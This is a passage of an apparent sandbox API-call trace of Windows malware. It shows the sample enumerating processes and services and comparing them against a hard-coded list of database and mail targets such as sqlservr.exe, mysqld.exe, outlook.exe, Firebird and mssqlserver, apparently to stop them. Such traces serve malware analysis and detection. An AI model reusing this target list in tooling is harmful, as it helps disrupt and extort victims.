hSnapshot=0x2dc, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0178.225] lstrlenW (lpString="wininit.exe") returned 11 [0178.225] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0178.225] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0178.225] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0178.225] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0178.225] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0178.225] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0178.225] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0178.225] Process32NextW (in: hSnapshot=0x2dc, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0178.225] lstrlenW (lpString="csrss.exe") returned 9 [0178.225] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0178.225] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0178.225] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0178.225] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0178.225] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0178.225] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0178.226] Process32NextW (in: hSnapshot=0x2dc, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0178.226] lstrlenW (lpString="winlogon.exe") returned 12 [0178.226] Process32NextW (in: hSnapshot=0x2dc, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0178.226] lstrlenW (lpString="services.exe") returned 12 [0178.227] Process32NextW (in: hSnapshot=0x2dc, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0178.227] lstrlenW (lpString="lsass.exe") returned 9 [0178.227] Process32NextW (in: hSnapshot=0x2dc, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0178.227] lstrlenW (lpString="lsm.exe") returned 7 [0178.227] Process32NextW (in: hSnapshot=0x2dc, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0178.228] lstrlenW (lpString="svchost.exe") returned 11 [0178.228] Process32NextW (in: hSnapshot=0x2dc, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0178.228] lstrlenW (lpString="svchost.exe") returned 11 [0178.228] Process32NextW (in: hSnapshot=0x2dc, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0178.228] lstrlenW (lpString="svchost.exe") returned 11 [0178.228] Process32NextW (in: hSnapshot=0x2dc, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0178.229] lstrlenW (lpString="svchost.exe") returned 11 [0178.229] Process32NextW (in: hSnapshot=0x2dc, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0178.229] lstrlenW (lpString="svchost.exe") returned 11 [0178.229] Process32NextW (in: hSnapshot=0x2dc, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0178.230] lstrlenW (lpString="audiodg.exe") returned 11 [0178.230] Process32NextW (in: hSnapshot=0x2dc, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0178.231] lstrlenW (lpString="svchost.exe") returned 11 [0178.231] Process32NextW (in: hSnapshot=0x2dc, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0178.231] lstrlenW (lpString="explorer.exe") returned 12 [0178.231] Process32NextW (in: hSnapshot=0x2dc, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0178.231] lstrlenW (lpString="dwm.exe") returned 7 [0178.231] Process32NextW (in: hSnapshot=0x2dc, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0178.232] lstrlenW (lpString="svchost.exe") returned 11 [0178.232] Process32NextW (in: hSnapshot=0x2dc, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0178.232] lstrlenW (lpString="n.exe") returned 5 [0178.232] Process32NextW (in: hSnapshot=0x2dc, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0178.232] lstrlenW (lpString="spoolsv.exe") returned 11 [0178.232] Process32NextW (in: hSnapshot=0x2dc, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0178.233] lstrlenW (lpString="svchost.exe") returned 11 [0178.233] Process32NextW (in: hSnapshot=0x2dc, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0178.233] lstrlenW (lpString="taskhost.exe") returned 12 [0178.233] Process32NextW (in: hSnapshot=0x2dc, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0178.234] lstrlenW (lpString="reader_sl.exe") returned 13 [0178.234] Process32NextW (in: hSnapshot=0x2dc, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0178.234] lstrlenW (lpString="n.exe") returned 5 [0178.234] Process32NextW (in: hSnapshot=0x2dc, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x6dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0178.234] lstrlenW (lpString="n.exe") returned 5 [0178.234] Process32NextW (in: hSnapshot=0x2dc, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x6dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 0 [0178.235] CloseHandle (hObject=0x2dc) returned 1 [0178.235] Sleep (dwMilliseconds=0x1f4) [0179.025] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x69e710 [0179.025] EnumServicesStatusExW (in: hSCManager=0x69e710, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0) returned 0 [0179.025] GetLastError () returned 0xea [0179.025] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x11e4) returned 0x724190 [0179.026] EnumServicesStatusExW (in: hSCManager=0x69e710, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x724190, cbBufSize=0x11e4, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x724190, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0) returned 1 [0179.026] CloseServiceHandle (hSCObject=0x69e710) returned 1 [0179.026] lstrlenW (lpString="Appinfo") returned 7 [0179.026] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0179.026] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0179.026] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0179.027] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0179.027] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0179.027] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0179.027] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0179.027] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0179.027] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0179.027] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0179.027] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0179.027] lstrlenW (lpString="AudioSrv") returned 8 [0179.027] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0179.027] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0179.027] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0179.027] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0179.027] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0179.027] lstrlenW (lpString="BFE") returned 3 [0179.027] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0179.027] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0179.027] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0179.027] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0179.027] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0179.027] lstrlenW (lpString="CryptSvc") returned 8 [0179.027] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0179.027] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0179.027] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0179.027] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0179.027] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0179.027] lstrlenW (lpString="CscService") returned 10 [0179.027] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0179.027] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0179.027] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0179.028] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0179.028] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0179.028] lstrlenW (lpString="DcomLaunch") returned 10 [0179.028] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0179.028] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0179.028] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0179.028] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0179.028] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0179.028] lstrlenW (lpString="Dhcp") returned 4 [0179.028] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0179.028] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0179.028] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0179.028] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0179.028] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0179.028] lstrlenW (lpString="Dnscache") returned 8 [0179.028] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0179.028] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0179.028] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0179.028] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0179.028] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0179.028] lstrlenW (lpString="DPS") returned 3 [0179.028] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0179.028] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0179.028] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0179.028] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0179.028] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0179.028] lstrlenW (lpString="eventlog") returned 8 [0179.028] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0179.028] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0179.028] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0179.029] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0179.029] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0179.029] lstrlenW (lpString="EventSystem") returned 11 [0179.029] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0179.029] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0179.029] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0179.029] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0179.029] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0179.029] lstrlenW (lpString="gpsvc") returned 5 [0179.029] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0179.029] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0179.029] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0179.029] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0179.029] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0179.029] lstrlenW (lpString="iphlpsvc") returned 8 [0179.029] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0179.029] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0179.029] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0179.029] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0179.029] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0179.029] lstrlenW (lpString="LanmanServer") returned 12 [0179.029] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0179.029] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0179.029] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0179.029] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0179.029] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0179.029] lstrlenW (lpString="LanmanWorkstation") returned 17 [0179.029] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0179.029] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0179.029] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0179.029] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0179.030] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0179.030] lstrlenW (lpString="lmhosts") returned 7 [0179.030] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0179.030] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0179.030] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0179.030] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0179.030] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0179.030] lstrlenW (lpString="MMCSS") returned 5 [0179.030] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0179.030] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0179.030] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0179.030] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0179.030] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0179.030] lstrlenW (lpString="MpsSvc") returned 6 [0179.030] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0179.030] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0179.030] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0179.030] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0179.030] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0179.030] lstrlenW (lpString="Netman") returned 6 [0179.030] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0179.030] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0179.030] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0179.030] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0179.030] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0179.030] lstrlenW (lpString="netprofm") returned 8 [0179.030] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0179.030] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0179.030] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0179.030] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0179.030] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0179.031] lstrlenW (lpString="NlaSvc") returned 6 [0179.031] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0179.031] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0179.031] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0179.031] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0179.031] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0179.031] lstrlenW (lpString="nsi") returned 3 [0179.031] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0179.031] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0179.031] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0179.031] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0179.031] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0179.031] lstrlenW (lpString="PcaSvc") returned 6 [0179.031] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0179.031] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0179.031] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0179.031] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0179.031] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0179.031] lstrlenW (lpString="PlugPlay") returned 8 [0179.031] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0179.031] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0179.031] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0179.031] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0179.031] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0179.031] lstrlenW (lpString="Power") returned 5 [0179.031] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0179.031] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0179.031] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0179.031] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0179.031] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0179.032] lstrlenW (lpString="ProfSvc") returned 7 [0179.032] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0179.032] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0179.032] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0179.032] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0179.032] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0179.032] lstrlenW (lpString="RpcEptMapper") returned 12 [0179.032] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0179.032] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0179.032] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0179.032] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0179.032] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0179.032] lstrlenW (lpString="RpcSs") returned 5 [0179.032] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0179.032] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0179.032] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0179.032] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0179.032] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0179.032] lstrlenW (lpString="SamSs") returned 5 [0179.032] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0179.032] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0179.032] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0179.032] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0179.032] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0179.032] lstrlenW (lpString="Schedule") returned 8 [0179.032] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0179.032] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0179.032] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0179.032] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0179.032] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0179.032] lstrlenW (lpString="SENS") returned 4 [0179.033] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0179.033] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0179.033] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0179.033] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0179.033] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0179.033] lstrlenW (lpString="ShellHWDetection") returned 16 [0179.033] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0179.033] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0179.033] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0179.033] lstrcmpiW (lpString1="mssqlserver", 